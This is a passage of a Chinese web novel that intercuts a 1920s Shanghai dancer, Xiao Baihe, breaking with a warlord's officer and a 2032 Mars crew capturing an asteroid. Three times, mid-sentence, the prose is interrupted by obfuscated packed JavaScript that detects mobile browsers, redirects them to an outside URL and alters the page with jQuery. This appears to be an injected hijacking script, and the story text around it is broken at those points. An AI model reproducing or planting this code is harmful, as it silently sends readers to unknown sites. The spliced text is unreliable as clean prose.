在路过小百合身旁时,张继显似是察觉到了什么,向她所在的方向一瞥。小百合本能地低下头,弯下膝盖。她的个子本来就不高,这微微一蹲,更彻底淹没在了人群里。 张继显果然什么也没发现,只一眼,便收回目光,接着往逸园走去。 等他的身影消失在逸园的巷子里,人群慢慢地散了,小百合立刻向孙老三冲去:“三哥!你怎么样?哪里受了伤?” 孙老三刚刚翻身坐起,正在掸在身上的土。抬头见到小百合,立时露出又惊又喜的神情,道:“小百合!太好了,你没事啊!” “你在说什么?我为什么会有事?”她掏出手绢,想要捂住孙老三额头的伤口,手却一直在发抖。 “嘶……”孙老三连着她的手一起摁在额上,疼得嘶了一声,“个死丘八,打死老子了!”见小百合脸色一变,又连忙道,“没事没事,你三哥皮糙肉厚,挨上几脚,没什么的!” 他顿了顿,又道:“我上午去送客,跑到你们舞厅边上,想顺道去看你一眼,结果正好看见那小赤佬押你上车……” 原来,他跑到舞厅门口,正好看到张继显的手下为小百合开门,以为是小百合不小心招惹了什么人,无耻的军阀仗势欺人,要找她的麻烦,便担心地追了上去。 可是,人的两条腿,又怎么可能追得上汽车? 他凭着对车子模糊的印象边追边问,在每一个路口向路人打听,才一点点地摸索到了这里。 他说得轻描淡写,小百合听着,心却如刀绞般一抽一抽地痛了起来。 她和张继显到达逸园时尚且不到午时,此时太阳已经西斜,将近黄昏。孙老三找她找了多久,可想而知。 孙老三道:“……我看见刚才那个车有点像,赶紧冲过来,没想到差点撞上了他!那死丘八从车里下来,我还没问他,他倒来打我!你来得正好!等三哥休息休息,我们就去找他算帐!” 听他这么说,小百合再也忍不住了。 她眨了眨眼,眼泪顿时簌簌而下。 孙老三神色一紧,像是完全忘了他头上的伤口,两手扳住她的肩,紧张地道:“怎么了?你受委屈了?他们怎么你了?你对我说!三哥就算赔上这条命,也不会饶了他们的!” 小百合喉间一梗:“没……”她清了清嗓子,“没有。那,那是我的一位客人。他来带我认识一个人,说有机会的话,请我去拍电影……” 孙老三一愣,呆了片刻,才道:“哦,原来是这样啊……那,是我错怪他了?”他沉默了一会儿,又勉力振奋起精神,道,“这是好事啊!去拍了戏,你不就成了大明星了?我们小百合要出名了!瞧我,差点坏了你的事!” 他似忽然又想起什么:“不对,你说的客人,是从车里下来的那个人么?” 小百合默不作声地点点头。 孙老三登时急了:“那你还在这里做什么?快去找他呀!” 小百合低着头,没有动。 见她不语,孙老三放软了声音:“你放心,三哥没事!刚才确实是我突然冲出来,才撞上了他。是我不好。人家打我两下,也是应该的!你快去吧!”他推了推小百合,“去啊!快去!记得别对人家提起我的事,啊?别为了这点小事跟人家计较,听见没?快去!你不去,三哥就不走了!” 他摆出一副小百合不去找张继显,他不肯罢休的样子。 小百合没有办法,只得道:“好。我这就进去。”她从怀中摸出两张票子,强硬地塞给孙老三,“那你也必须去附近找一个医馆,找人给你包扎伤口,取一点药!晚上我回孤儿院查你!” 说完,果决地回身站起,趁孙老三来不及把钱还给她,快步离开了。 方才她跑向孙老三时,只觉他们之间的距离是那么的遥远,此刻踏上回程,这距离却又显得格外的近。 小百合站在逸园的大门前,拍去身上的土,擦干眼泪,又整了整头发,深深地呼吸了几口气,下定决心,推开大门。 门果然没有锁。小百合循声找到仍在拍戏的人群,只见张继显也好整以暇地远远立在一旁,抱着手臂看,仿佛自始至终都没有离开过。 不等小百合走近,他便发觉了她,扭头对她笑道:“你这是去哪玩了?怎么哪里都没找见你?” 小百合随便指了一个方向,道:“就在那边,肯定是你没有好好找而已。” 她在张继显面前站定。 他挑起眉:“咦?你眼睛怎么红了?” 小百合揉了揉眼,道:“刚才有小虫子飞进眼睛里了。” “我看看。”张继显道。 说着,他捧住小百合的脸,端详起她的眼睛。 小百合感受着从他手掌心里传来的温度,想:“他的动作是多么的温柔。” 就好像,不久之前刚在大街上纵容自己的手下当街拔枪打人的,并不是他。 她终于看清了,看清了那些以往被张继显本人的魅力所掩盖的特质,那些让她隐约不适却又轻易忘记的细节,那些他对她说过的经不起琢磨的话。 潇洒恣意,换个角度就是任性妄为。精明强干,再进一步便是不择手段。信奉拼搏者,难免将弱肉强食奉为圭臬。 他的过去,必然充斥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14765379|154961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着血腥的历史。 如果被赵老板骚扰的是她孤儿院的妹妹们,她会如此轻易罢休吗? “没有。我什么都没看见。可能已经被你揉出去了。” 张继显松开手。 风吹过,小百合脸上一凉,竟不自觉地怀念起了刚刚的温暖。 他对她真的很好。 只要她拽一拽他的衣摆,他就能明白她的意思。 他不知道孙老三是她的兄长。 如果她告诉了他,他不仅会带着他的手下去赔礼,还会对孙老三做出他本人难以想象的补偿。这都是为了她。 可是,这就足够了吗? “他也是不得已。”小百合曾经对自己说。 作为一个孤儿,张继显能达到他现在的地位,他必然要去争、去抢,去不计一切代价地向上爬。 其中经受的苦楚和血泪,没有人比小百合更能想象。 而在长久地受人欺侮之后,谁不想扬眉吐气?浸淫在权贵之中,他又要如何自制,才能不胡作非为? 这是人之常情。 若是以前,小百合或许会忍下去,会如孙老三本人所期望的那样,对他的事只字不提,然后依着张继显的安排去见一个电影公司的老板,直到她的电影拍成的那一天。 毕竟……如果她真的成了大明星,孙老三和她孤儿院的弟弟妹妹们也能从中受益,不是吗? 可是,可是,陆遥说:“人人生而平等。” 陆遥说:“如果没有一代一代人的努力,没有过去的你们,就没有现在的我。” 陆遥说:“如果有人侮辱你,轻贱你,蔑视你,不要容忍,更不要听信。那是他们的错,不是你的。” 小百合理解张继显。 可是,理解,就代表她一定要接受吗? 尽管她暂时还不知道如何为那个更好的世界而奋斗,可她此时已经明白,与张继显共行,到达不了那条她向往的道路。 “你怎么又在发呆?”张继显点了点她的鼻尖,道,“彻底爱上我了?” 小百合皱了皱鼻子,偏头躲开他的手:“你又胡说。” 张继显一笑,收回手,道:“好了,时间差不多了,我送你回去。” 他们一起走出逸园,张继显的手下守着车,立在街对面不远处。 张继显要往车的方向走,被小百合叫住了:“等一下!” “怎么?”他道。 小百合道:“在照相馆拍的那些照片……能不能给我一下?” 张继显不解地道:“你要做什么?”说着,仍乖乖地把怀中的照片递给了她。 小百合接过照片,低头看了看,在心中悄悄地道:“抱歉了,三哥。就让我任性这一回吧!” 她慢慢地走到河边,对着河水轻轻地吸了一口气,而后,手上用力,果断地将照片撕成了两半! 跟在她身旁的张继显顿时一惊,道:“你这是做什么!” 小百合对他笑道:“放心,拍照的钱,我会还给你的。”手上却半点不停。 张继显气道:“我说的哪里是这个!” 小百合没有理会,接着道:“虽然心中感激,但我想了想,我现在在舞厅跳舞就挺好的,拍戏的事,以后还是不劳烦张先生费心了。” 说着,她手里的照片已经撕成了细小的碎片,很难再撕动了。 张继显盯着她看了片刻,叹了口气,道:“算了,你不想拍就不拍吧,谁能说得动你?” 小百合对他一笑,手一扬,照片的碎片如同春天的花瓣般纷纷扬扬地落在河面上。 她和张继显静静地看着,不消一刻,那些碎片便被河水卷走,再也不见了踪影。 28.第27章 2032年。 控制中心是时时刻刻都有人值班的。 但这会儿正值半夜,人毕竟比白天少了许多。整个控制大厅静悄悄的,显得十分空荡。 孙林调整了一下耳机,打了个哈欠,再次点开被他隐藏的游戏界面。把《魔兽》那种对抗游戏铺满整个桌面太过大胆,但趁着领导不在,在显示屏的角落里悄悄玩几个小游戏,也无伤大雅。 除了配合宇航员们进行天文观测和空间实验的时候,他的工作任务是接收并监控火星高轨道卫星传来的数据信息。简而言之,就是监测火星地表大范围的天气变化,以及监测有没有什么奇怪的东西靠近火星,判断它们会不会对宇航员执行任务造成影响。 前者他只需要把相应的信息和图片打包转发给分析人员,他们自会进行处理。而后者……更没有什么可说的。 除了宇航员们尚未到达时从火星边缘擦过的那几颗小行星,他见过的寥寥几个不明飞行物,也只不过是几个聚集在一起变成一整块的宇宙尘埃,以及人类在往次任务中遗留下来的太空垃圾、航天器碎片。 毕竟,小行星雨这种事,短时间内又能发生多少次呢? 孙林原以为今晚又会是平静的一天。 然而,没等他打完一局小游戏,突然听到系统警报“滴滴滴”地响了起来。 孙林点开监测系统,只见在空间模拟界面,有超出十个未知物体正向着火星的方向高速前进! 他一个激灵,霎时清醒了过来。快速确认了系统警报无误,孙林立刻起身,向控制大厅后端的值班室跑去——每天晚上都会有一位领导值班,今晚正好是他们的技术总监李柏岩。 孙林敲了敲敞开的门,道:“李工。” 李柏岩点头示意他进来。孙林将具体的情况对他说了,李柏岩霍然起身,跟孙林一起来到他的计算机前,道:“把你的桌面投到大屏上。” 孙林敲了几下键盘,所有正在飞向火星的未知物立刻以红点的形式呈现在了控制中心的大屏幕上。 仍在中心值班的所有人也全都抬起头来。 李柏岩盯着屏幕,皱眉道:“能计算出来它们的具体大小和飞行轨迹吗?” 孙林的手在键盘上飞快地弹动着,然而,不多时,电脑便弹出了“数据不足”的显示框。他摇了摇头:“距离太远,暂时还算不出来。” 李柏岩又道:“那它们大约多久之后到达火星附近?” 孙林看了一眼屏幕:“大概在……两到三天之后。” 李柏岩点了点头:“明白了。王方丽,把这个情况即刻通报给宇航员们!孙林,你调动所有卫星,对这些飞行物进行重点监控!能计算出飞行轨道之后,立刻向我汇报!” 坐在几排前的王方丽当即道:“是!” 孙林也挺直了后背:“是!” “滴滴滴!您有一则,来自北京的讯息。” 悦耳的女声突然在广播里响了起来。 陆遥抬起头,轻轻皱了皱眉。 现在是地球的夜间时间,一般而言,地控中心是不会在这个时间段向他们发信的。 陆遥推了一把工作台,飘到显示屏前,轻点几下,调出刚刚收到的讯息。 地控中心发来的是一段空间模拟视频,在视频中,最大的球体代表的显然就是他们所在的火星,而在火星的左上角,有十数个红点在向着他们的方向高速前进。 视频底下标注着这些飞行物的大致方位,检测到它们的卫星编号,以及控制中心工作人员们的留言:“已调动全部卫星着重观测,约48至72小时后到达火星附近,计算出飞行轨道后随时与你们联络。” “又来?”陆遥的眉头皱得更深了。 尽管地控中心没有通报这些飞行物具体是什么,但她直觉地认为,它们应当与上一次飞来的小行星是一样的。 只是,为何会如此频繁? 陆遥又看了一遍模拟视频,在心中记下标注的信息,回复道:“收到。随时保持联络。” 她犹豫了一瞬要不要叫醒另外三人,向他们告知这个消息,但最终决定作罢。现在连飞行物具体的种类和它们的飞行轨迹都尚未计算出来,就算叫醒他们,也只能告诉他们,有这么一件事而已。 他们夜晚在空间站上是四小时轮班,今天她负责23时到凌晨3时,安德烈负责凌晨3时到早上7时。只要把这件事告诉他,如果之后再有地控中心的消息,他自会把他们叫醒。 陆遥这么想了,也这么做了。却不料,第二天叫醒她的不是安德烈,也不是她的闹钟,而是一阵激烈的争执声。 陆遥迅速地换好衣服,飘出起居舱,来到另外三人所在的活动舱,道:“发生什么事了?” 他们刚才那一瞬不知为何陷入了沉默。王亦刚抱着双臂,而安德烈则一脸怒气。看到陆遥飘过来,他立刻道:“遥,你来评评理!间隔时间这么短,在这种时候飞过来的小行星,是不是有很大概率和上一次的含有同一种物质?” 陆遥暂时没有回答他,而是一挑眉,道:“飞行物种类和飞行轨迹已经确定了?” 阿列克谢面带无奈地点点头,往显示器的方向一指,道:“对。就在屏幕上。” 陆遥飘过去快速地扫了一遍屏幕上的信息,在心中悄悄地松了一口气。尽管这些小行星都是朝他们的方向飞来的,但它们的飞行轨道并不会与火星交汇。也就是说,不会对他们的任务有什么太大的影响。 她抬起头来,道:“我看到的都是好消息啊。所以,你们在争论什么?” 王亦刚沉默了片刻,道:“安德烈想用备用飞船去捕捉飞行轨道离火星最近的那颗小行星,我不同意。” 果然。 其实刚才看到那些小行星的信息的时候,陆遥就注意到了。 这些小行星里有一颗的飞行轨道离火星大约只有八百余公里,体积很小。联想到安德烈在发现新元素时的激动,和他玩笑般对上天的恳求,很容易就能猜到,他对捕捉这颗小行星会有多么地跃跃欲试。 她刚刚自己也稍微做了一个评估,认为如果真的去进行捕捉,并不会遇到太多困难。只是王亦刚性格严肃认真,突然这么提出来,他必然会立即提出反对。 在这种时刻,一昧地与他针锋相对是起不到任何效果的。 陆遥又看了一眼屏幕上的数据,平静地道:“这确实是一次超出我们任务计划的行动。不过,我还是想问一下,王指挥官,您提出反对的具体理由是什么呢?” 王亦刚看了一眼安德烈,道:“备用飞船是我们的主飞船失效时的最后保障,也是我们所有人生命安全的最后一道保护网,我要对你们负责,不能拿它去换取那么一点点捕捉新元素的可能。” 安德烈急切地道:“可是……” 陆遥抬手拦住他的话,点点头道:“我明白了。您的顾虑确实很有道理。不过,请容我指出,就算我们真的进行捕捉,其实也只会消耗一些备 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14787431|154961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用飞船的液体燃料,并不会影响飞船的任何其他部分。” 他们的飞船里装有两套发动机系统,一套是用于跨越太空的核聚变发动机,另一套,则是在从地球起飞,以及与空间站进行对接,调整方向时启用的液体发动机。 小行星飞过的轨道距离火星很近,是绝对用不到核聚变发动机的,而与之相反,便于调整速度、控制方向的液体发动机就显得尤为合适。 她接着道:“飞船里液体燃料的储备是有着三倍冗余的,空间站里也存着一些,按照我的计算,这次捕捉需要的消耗量相对于我们储备而言,可以说不值一提。”她顿了顿,又道,“就算万一中的万一,我们的主飞船出了什么问题,我们也完全可以将主飞船的燃料转移至备用飞船中,这样,这次突发行动对我们的回程而言更不会有任何影响。” 王亦刚直直地看着她,陆遥坦然地凝视了回去。 陆遥想要捕捉这颗小行星,其实也并非没有私心。 她高度怀疑,她与小百合能穿越时空进行对话,就与这种元素有关。如果能有更多的材料来进行实验,那么对它的研究,想必也能够推进得更快些。 而相对于取得这样一种或许能改变人类历史进程的物质而言,他们所需要冒的那一点点风险,简直可说是不值一提。 一旁的阿列克谢也插嘴道:“我支持遥的想法。而且,我们的备用飞船是用货运飞船在空间站远程改装的,改装之后从来没有试飞过。我们去捕捉小行星,也算是提前对备用飞船进行检测了!” 他说完,王亦刚又沉默了片刻,才慢慢地道:“所以说,你们三个都认为,小行星捕捉计划是可行的了?” 另外三人点了点头,其中安德烈点得尤其用力。 他央求道:“王长官,你就让我去吧!错过这次机会,下一次能收集到那么多新元素就不知道是什么时候了!” 王亦刚沉吟良久,才终于叹了口气,道:“好。我知道了。我会试着向上级提出申请。阿列克谢,你去把需要用到的数据计算出来。” 听他这么应允,阿列克谢和安德烈立刻爆发出一阵欢呼。安德烈甚至脚下一用力,快活地在半空中翻了个筋斗。 王亦刚立刻补充道:“但是,如果上级领导不同意这个计划,我是绝对不会让你们去的!” 安德烈笑着道:“明白!” 王亦刚转身欲走,又转了回来,道:“还有另一件事。” “什么?”陆遥道。 王亦刚道:“刚才地控中心还提出了一个问题让我们讨论。”他顿了顿,接着道,“他们认为近期的小行星异动过于频繁,有了第二次,就不得不假设会有第三次。前两次它们的飞行轨道都未与火星交汇,但无法保证第三次不会。所以,他们让我们讨论一下是要继续任务,还是以防万一,提前终止。” 安德烈露出一脸不可思议的表情,道:“当然是要继续了!怎么能为了一个没有影子的‘第三次’提前终止任务呢?” 陆遥点头道:“我也这么认为。就算第三次小行星真的与火星轨道交汇,会对我们的任务造成影响,我们也可以在测算出轨道后立即启程。完全没必要为了一个虚无缥缈的可能而提前放弃。” 阿列克谢也点了点头。 王亦刚道:“好。那就这么定了。我去进行汇报。剩下的时间不多了,你们快去为捕捉计划做准备吧!” 安德烈俏皮地并起两指,向他敬了一个礼,道:“收到!” 29.第28章 有了王亦刚的交涉,地控中心的任务许可很快就下达了。 如预计的一般,小行星在他们运算的轨道上飞速前行,离火星越来越近。所剩的时间不多,陆遥他们分秒必争地讨论出几个执行计划,最终决定使用机械臂对小行星进行抓取。 机械臂原本是用于在火星上进行样本采集,以及地表实验室建设的,它的大小对于抓取小行星而言绰绰有余。 执行任务的飞行员要提前驾驶飞船驶离火星,在小行星飞来的方向等待。等小行星靠近时,便反向加速,让飞船缓缓飞至小行星下方,逐渐与之平行。 当飞船和小行星达到相对静止,同行的另一个人就可以操纵飞船顶部的机械臂,对其进行抓取,而后通过飞船的动力慢慢改变两者方向,便能轻松地将其拖回空间站。 几个步骤看起来容易,其实需要极其高超的飞行技巧。 离小行星飞抵火星还剩不到12个小时。阿列克谢和安德烈去舱外组装机械臂了,王亦刚和陆遥在空间站里进行最后的复盘。陆遥提议由她来驾驶飞船,却立刻被王亦刚否定了。 王亦刚道:“不,这次任务由我来执行。” 陆遥一怔,道:“可是……” 王亦刚截住她的话,道:“我知道,你的飞行技术在我们几个里是最高超的。可这是一次突发任务,任务是我批准的,自然要我来担责。如果有什么问题,出了事故,也理应由我来承担后果。你不用再多说,我已经这么决定了。” 陆遥抿了抿唇,道:“是,长官!不会有任何问题的!” 王亦刚点了点头,道:“嗯,我知道。等我出发之后,这里的事,就一切都交给你了。” 陆遥知道,他指的不仅是执行任务期间,也包括假如任务失败,他出了什么事之后。 她微微挺直背脊,道:“是!” 当一切准备就绪之后,等待,便成了最艰难的事。 经过他本人的强烈要求,最终决定由安德烈与王亦刚同行,去操纵机械臂。 离飞船出发的预计时间还有不到20分钟,他们两个已经前往飞船等候。陆遥和阿列克谢来到观测舱,只见一个光点由远及近,愈发明亮。 阿列克谢用他的母语喃喃地低叹了一声,问陆遥道:“是它吗?” 陆遥轻轻地点了点头,道:“应该是了。” 那是即将抵达火星的第一颗小行星。 不过这么两句话的功夫,那光点就变成了光团,愈发巨大。紧接着,甚至来不及做出反应,陆遥只觉一道炫目的光从她的眼前划过,深深地刻在她的角膜上,不知是不是她的错觉,甚至隐隐散发着金属的光泽。 紧接着,又是一颗。 这景象如此壮观,是地球上任何流星雨都无法比拟的绚烂。 陆遥眨了眨眼。两颗小行星在刹那间又相继飞走了,消失在无穷无界的宇宙里,却在她的眼底留下了倒影般的黑痕,久久不肯散去。 她为了进入太空训练了太久,久到她好像早就忘记,真实的宇宙是多么的浩瀚、神秘和美丽。直到现在,她才开始慢慢记起。 “也不知道小百合在做什么?”陆遥突然想道。 这几日他们一直忙着捕捉小行星的事,陆遥甚至顾不上打开她的个人通讯器。 或许小百合会觉得奇怪吧,不知道陆遥为何这么久没有与她联络。 等任务结束之后,或许她可以腾出一段时间来,好好地和她聊一聊…… 正想着,陆遥突然感到脚下一震。 她看了一眼表,这是王亦刚他们的飞船已经从空间站脱离。 “刚才那颗小行星的实际飞行轨道,算出来了吗?”陆遥道。 阿列克谢在平板上飞快地点动几下,用力地点点头,难掩激动地道:“算出来了。和之前的运算完全一致!” “好!”陆遥也稍松了一口气。只要运算正确,他们的计划便向成功迈出了一大步。 飞船缓缓地进入他们的视野,往小行星来时的方向飞去。 飞船的船尾闪烁着隐约的火光,和方才小行星映射的光芒相比,如同萤火之于日月。 可这毕竟是属于人类自己的光辉。属于宇宙的光已经从他们眼前划过,终将离他们远去,而属于人类的光才刚刚起航。 余下的,便只有祈祷。 通讯器里每隔一段时间都会传来王亦刚的通报。 “我们已到达等待位置。” “目标小行星出现。” “飞船启动,开始加速。” 火星空间站在绕着火星不断旋转。从他们此时所在的位置,王亦刚他们的飞船已经无法用肉眼观察到了。 但陆遥和阿列克谢谁都没有离开观测舱。阿列克谢坐立难安地在观测舱里飘来飘去,陆遥则守着通讯器,每当王亦刚的声音响起,便回答一句“收到”。 此时正是任务最紧要的关头。 又过了不知多久,只听王亦刚道:“飞船已与小行星平行。机械臂请准备。” 安德烈道:“机械臂已准备。” “机械臂已伸出。开始抓取。” 就是此刻了。陆遥的心提了起来。 然而,下一秒,她却听安德烈道:“……该死!” 陆遥心中一紧,道:“怎么了?安德烈,出什么事了?” 她没有等来安德烈的回答。王亦刚的声音也随之紧绷起来,道:“稍等。稍后与你们联络。” 而后,通讯便中断了。 阿列克谢静止在半空,与陆遥面面相对,一时间没有人说话。 “他们怎么还没有消息?到底出什么事了?” 阿列克谢的手绞拧在一起,连骨节都泛了白。 陆遥看了一眼表,此时距他们与王亦刚、安德烈失去联络,已经将近一个半小时。 她安抚阿列克谢道:“稍安勿躁。他们可能是遇到了什么紧急情况,需要专心操作飞船和机械臂,才暂时不能通话。既然他们说稍后联系,我们只要等着就好。” 阿列克谢道:“这个道理我明白,可是……” 他气馁地咬住嘴唇。 可是他的焦虑出自本能,无法抹消,无法缓解。 陆遥理解。 她道:“放心,不会有什么事的。” 这话既是说给他听,也是说给她自己。 果然,不到半个小时之后,王亦刚的声音终于又在通讯器里响了起来,伴随着断续的沙沙声,道:“捕捉任务已完成。我们马上返程。” 阿列克谢欢呼起来,陆遥也大松了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14787432|154961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一口气,微笑道:“恭喜完成任务。欢迎回来!” 这时他们的空间站正好行至火星晨昏线的边缘。 不消一刻,就在他们从黑暗重入光明的那一刹那,陆遥看到载着王亦刚和安德烈的那艘飞船沐浴着阳光向空间站缓缓驶来,仿佛比方才划过的任何小行星都更加耀眼。 那飞船的影像越来越大,又渐渐驶出了观测窗。 不多时,空间站再次轻轻一震,温柔的系统女声响了起来:“对接已完成,欢迎来到火星空间站。” 陆遥迅速转身,向对接舱的方向飘去,安德烈紧紧跟在她的身后。 闸门开启的声音传来,是王亦刚和安德烈进入了气闸舱。 他们耐心地等待着。没过多久,就听系统女声道:“气压已平衡,舱门开启,请注意!” 陆遥他们面前的舱门慢慢打开,仍穿着全套宇航服的安德烈和王亦刚从门后现出身来。 安德烈大大地张开手臂,满脸笑容地道:“女士们先生们,请让我为你们展示,一颗我们刚刚捕捉的,万众瞩目的,稀有小行星!” 阿列克谢吹出一个长长的口哨,鼓起掌来。陆遥也笑着跟他一起拍起了手。 安德烈夸张地向左右各鞠了一躬,道:“多谢,多谢!” “好了。够了。” 一直在他身后默默脱宇航服的王亦刚突然道。 陆遥这才注意到,任务明明成功了,他的脸色却并不算好。 阿列克谢道:“既然任务成功了,刚才你们为什么那么久都没有联系我们?” 安德烈摘掉他的头盔,吐了吐舌头,做了个鬼脸,道:“我第一次试着抓取的时候,机械臂没有抓牢。小行星从机械臂里滑出去了,轨道也偏离了。我们又费了一番功夫才又抓住它。亦刚很不高兴。” 王亦刚淡淡地道:“我没有不高兴。只是,我们这一趟耗费的燃料远超预期。剩余的燃料比返回地球时起降的实际所需已经多不了多少,马上要到达临界点了。” 确实,他们这一次去的实际时间远长于预计,消耗的燃料自然也比计划的多出许多。 陆遥犹豫了片刻,道:“那怎么办,要把主飞船的燃料转移一部分过来吗?” 尽管这是备用飞船,但若是主飞船真的出了什么状况,他们必须紧急驾驶备用飞船返回地球,这个燃料量无疑是危险的。 王亦刚沉默了一瞬,道:“我会把这件事上报给地控中心,与他们商议之后再做决定。” 陆遥点点头道:“明白。” 之后几日,他们忙于切割行星标本,对其中的物质进行分离、提纯和分析。 让安德烈失望的是,小行星中的新元素含量远低于他的期望,但估算下来,依然大大超出他们在火星地表搜集的数量,因此,他和王亦刚的这一趟冒险仍算是卓有成效。 而在与地控中心商议之后,王亦刚决定将主飞船液体燃料冗余部分的二分之一转移到备用飞船中,以备万一。这样一来,两艘飞船的燃料量便大致相同了。 陆遥在每晚自己的休息时间或者轮值时间都会打开个人通讯器。可一连好几天,她都没有收到小百合的消息。 “或许就算是跨时空通讯,也要讲求时机的吧。” 陆遥无奈地想。 30.第29章 “你最近,怎么这么没精神?” 陶菁俯下身来,对趴在桌上的小百合道。 小百合抬起头:“哪有?” 事实上,她确实有。 倒不是因为张继显怎么为难她了——在那日之后没两天,张继显便突然来到舞厅与她道别,说他要离开上海一阵。 他没有明说为什么,但看一看报纸上的新闻,再联想到那日他急匆匆离开的样子,不难推测应该是冯督理的地盘上出了什么乱子,他要赶去解决问题。 小百合最终没有对他说起孙老三的事。 对于张继显这样的人物来说,他的手下把一个拉车的车夫打了,这实在是一件微不足道的小事。就算他会为了她去道歉、去补偿,这件事本身也不会在他的心中留下一丝痕迹。 既然小百合已决定与他分道扬镳,再和他说这些,也没有了任何意义。 除了张继显和孙老三的事,陆遥……也好久没有在收音机里出现了。 实际上,自她们两个开始聊天之后,从来没有这么久过。 小百合日日听着收音机里的沙沙声,只觉她的心情每一日都比前一日更加低落,几乎有一种错觉,陆遥的声音从此再也不会在收音机中响起。 这两件事,无论是张继显的事还是陆遥的事,她都没有办法和陶菁说起。当她突然这么一问,小百合也只能答上一句“哪有”了。 然而陶菁仍兀自不觉,笑着打趣她道:“我知道了!那位张先生都走了好些天了,你肯定是想他了,对不对!” 小百合道:“没有这回事!” 陶菁笑道:“还不承认!”她想了想,又道,“对了,好像最近有一个男明星十分的火,我看他的样子,倒和你那位张先生还有点像呢!现在正好有一部他的戏在上,怎么样,要不要去看一眼?” 小百合迟疑了片刻,道:“还是算了吧……” 她本也没那么爱看戏,此时陶菁突然提起,她更是不由自主地想起了那个被赵老板独自叫到采香阁的小姑娘。 她有多大呢? 十六?十七?还是十五呢? 陶菁还不死心,道:“那我们去做点什么好?逛集?划船?踏青?我听说公园里的花开得正好呢……” 小百合无奈地道:“我都可以。你想去做点什么?我陪你。” 陶菁眼睛一亮,猛然一拍手,道:“我知道了!我知道我们要去哪了!” 见她的神色与刚才不同,小百合也不由好奇了起来,道:“去哪?” 陶菁道:“你还记得我给你提起过的那个,楚艳雪吗?” 她自然是记得的。 尽管小百合从来没有见过她本人,但楚艳雪甚至可以说是她们舞厅的传奇人物。 在她来舞厅之前,楚艳雪与朱璇曾明枪暗箭地争夺名门大少韩明皓的青睐,最终朱璇不幸落败,楚艳雪被韩少爷接走,娶回家做了姨太太。据说,韩少爷还为她买了洋楼和门脸,让她自己做起了成衣的生意,可谓是千娇百宠,惹人艳羡。 直到今日,“楚艳雪”这个名字依然是朱璇不能触碰的禁忌。 若不是朱璇前两日收到了亲人的来信,有事回老家去了,听陶菁提起楚艳雪,她必然是会甩身就走的。 小百合道:“当然记得,你怎么突然想起她了?” 陶菁嘿嘿一笑,道:“其实在她和朱璇认识韩大少之前,我和的她关系一直不错。有一次在街上偶然遇到她,她还给了我她开的成衣店的地址和名帖,让我有时间就去店里试试衣服,她给我成本价!既然现在朱璇不在,我们要不要去她店里看看?” 小百合惊讶地挑起眉。每次舞厅里有人提起楚艳雪,陶菁都是一副与朱璇同仇敌忾的模样,却没想到,她和楚艳雪还有这样一层联系。 虽然只是一个地址,却也比舞厅里的大多数人知道得多了。 小百合想了想,道:“好呀!我们什么时候去吧!” 这倒不是说她想买什么衣服。 其实她更加好奇,楚艳雪是怎样经营一个店铺的。 尽管从来没对任何人说过,但小百合也曾偷偷设想过,她自己开一个店会是什么样。 她们作为舞女,吃的是一口青春饭,或迟或早,总有年老色衰,赚不到钱的那一天。小百合在千乐门呆的时间说长不长,说短不短,却也见证过不少离别。 有的人本就不爱交际,前一日还在舞场里等待客人,后一日便已一声不吭地离开,再也未曾出现。有的人变卖了多年积攒的所有家当,与姐妹们一一告别,便带着钱回乡嫁人——她们自然不会告诉家里人她们在上海滩做舞女,而一定是秘书、女工和文员。 小百合甚至听说,有人因一念之差,误入了歧途,染上了烟瘾,落得除了一身脏病再无分文,最终的下场可以想见,也不外乎曝尸街头,葬于荒野罢了。 而除了这些人,还有卫香兰、楚艳雪、张大班。 小百合曾以为她会是她们中的一个,但现在,她又不那么确定了。 “或许,开一个店吧!”她想。 不必太大,有一些熟客,够她养活自己就好。 其实,在小时候她带着他们编织的草把件上街叫卖时,这就是她的梦想。不必再在街上摆摊,不必再被人赶来赶去,有一个属于自己的小店,过一种安稳的生活。 进入千乐门之后,她就把这个梦想抛弃了。但也许她可以问问楚艳雪,该如何把它重新拾起。 下定了决心,小百合道:“既然说到这了,不如我们这两天就去吧!” 见她突然来了兴致,陶菁的脸上也是一喜,道:“我就知道你肯定感兴趣!好,择日不如撞日,干脆,就明天吧!” 第二天上午,小百合和陶菁约在舞厅见面,而后便拦了一辆黄包车,报出了楚艳雪给的地址。 楚艳雪的店在一条繁华的街上,离租借很近。拉车的车夫许是没怎么来过这边,在街上转来转去也没找到具体的门牌号,她们只得在车夫连连的道歉声中下了车,自己慢慢找。 “你确定是在这条街上吗?”小百合道。 她们已经在整条街上来回转了两遍,没有一家店是楚艳雪名帖上的名字。 